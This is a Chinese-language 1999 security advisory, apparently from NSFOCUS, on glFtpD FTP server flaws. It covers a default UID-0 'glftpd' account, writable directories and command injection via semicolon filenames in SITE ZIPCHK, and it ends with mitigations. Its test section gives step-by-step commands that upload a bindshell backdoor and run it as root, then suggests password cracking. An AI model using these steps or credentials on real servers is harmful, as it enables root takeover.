首页 -> 安全研究

安全研究

安全漏洞
glFtpD的多种漏洞

发布日期:1999-12-26
更新日期:1999-12-26

受影响系统:
glFtpD 1.17.2及其以前的版本
描述:
概述:  
   glFtpD是www.glftpd.org开发的一个FTP服务器,虽然目前只有beta版的发布,但仍旧得到了广泛的使用。
   flFtpD由于安装简单和用默认的配置就可以正常工作,因此对于很多非技术类型的人员来说是很有吸引力的一种选择。它目前可以运行在Linux, FreeBSD和Solaris的平台上。glFtpD同时也提供了诸如tcl脚本之类的特性。正是由于这些附加的新特性,使得在开发的时候不得不对关注一些FTP服务器的安全问题。

细节:

1. 默认登陆:
  
   在默认配置下,glFtpD在FTP服务器上设定了一个用户名为"glftpd"的新用户,而且口令也是"glftpd"。这个默认的用户所具有的UID是0。着就意味者这个用户可以以UID==0(实际上的超级用户)FTP登陆。因此把这个账号留在服务器上是很危险的。
  
2. 全部的目录是可写的
  
   在默认的配置下,你的新的FTP服务器所在的目录~/site是可写的。
  
3. SITE ZIPCHK命令
  
   SITE ZIPCHK命令被用来检验ZIP文件的有效性,这样就可以在下载之前确保ZIP文件的正确无误,如下所示:
  
ftp> quote SITE ZIPCHK XXXXX.ZIP
  
   这样glFtpD就运行一个以XXXXX.ZIP为参数(第一个或第二个)的脚本,这个脚本调用了/bin/unzip。如果一个用户可以建立带";"文件名的文件,那么他就可以以超级用户的权利执行远程服务器上的任意程序。


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

对于第一点和第二点的攻击很很明显的。
对于第三点,只要用户可以上传文件,就可以做到:
-目标:在服务器上做用bindshell.c一个后门。
  
$ gcc bindshell.c -o b -static
  
建立一个空文件,文件名为" ; bash blah;"
建立一个空文件,文件名为" ; unzip blah;"
  
$ > ";bash blah;"
  
建立一个脚本,文件名为"blah" :
  
$ cat > blah
#!/bin/bash
./b &
^D
  
"ZIP"以上的文件:
  
$ zip blah.zip blah b
  
登陆并且上传文件:
  
ftp> put blah.zip
ftp> put " ; bash blah;"
ftp> put " ; unzip blah.zip;"
  
由于glFtpD会试图把空格转化为下划线,你有必要把文件名改回来:
  
ftp> quote rnfr "_;_bash_blah;"
ftp> quote rnto " ; bash blah;"
ftp> quote rnfr "_;_unzip_blah.zip;"
ftp> quote rnto " ; unzip blah.zip;"
  
现在可以用ZIPCHK来解压缩:
  
ftp> quote SITE ZIPCHK " ; unzip blah.zip;"
  
运行:
  
ftp> quote SITE ZIPCHK " ; bash blah;"
  
glFtpD会产生一个错误信息,但可以忽略。现在就可以从bindshell.c中定义的端口登陆了!
  
一旦你进入了系统,如果你用glFtD的账号(任何uid==0的账号)来进入,你可以chroot()来突破限制,而得到整个站点。
  
如果你没有uid==0的账号,那你只能做下面的一些事情了
  
- 查看 /etc/passwd (实际是在$GLFTPDHOME/etc/passwd)
- 破解一个 uid == 0 的口令, 也许glftpd的账号仍旧存在
- 充分发挥你的想象


建议:
通过改写glftpd.conf(或其他等价的)的中的命令:
site_cmd ZIPCHK TEXT /ftp-data/misc/disabled
这样就不执行一条命令而是显示一个文本文件
从glFtpD的开发者GreyLine和Usurper得到的补丁是在文件中加入:
"path-filter * /ftp-data/misc/pathmsg ^[-A-Za-z0-9_.()[:space:]]*$ ^\.^-"


浏览次数:6788
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障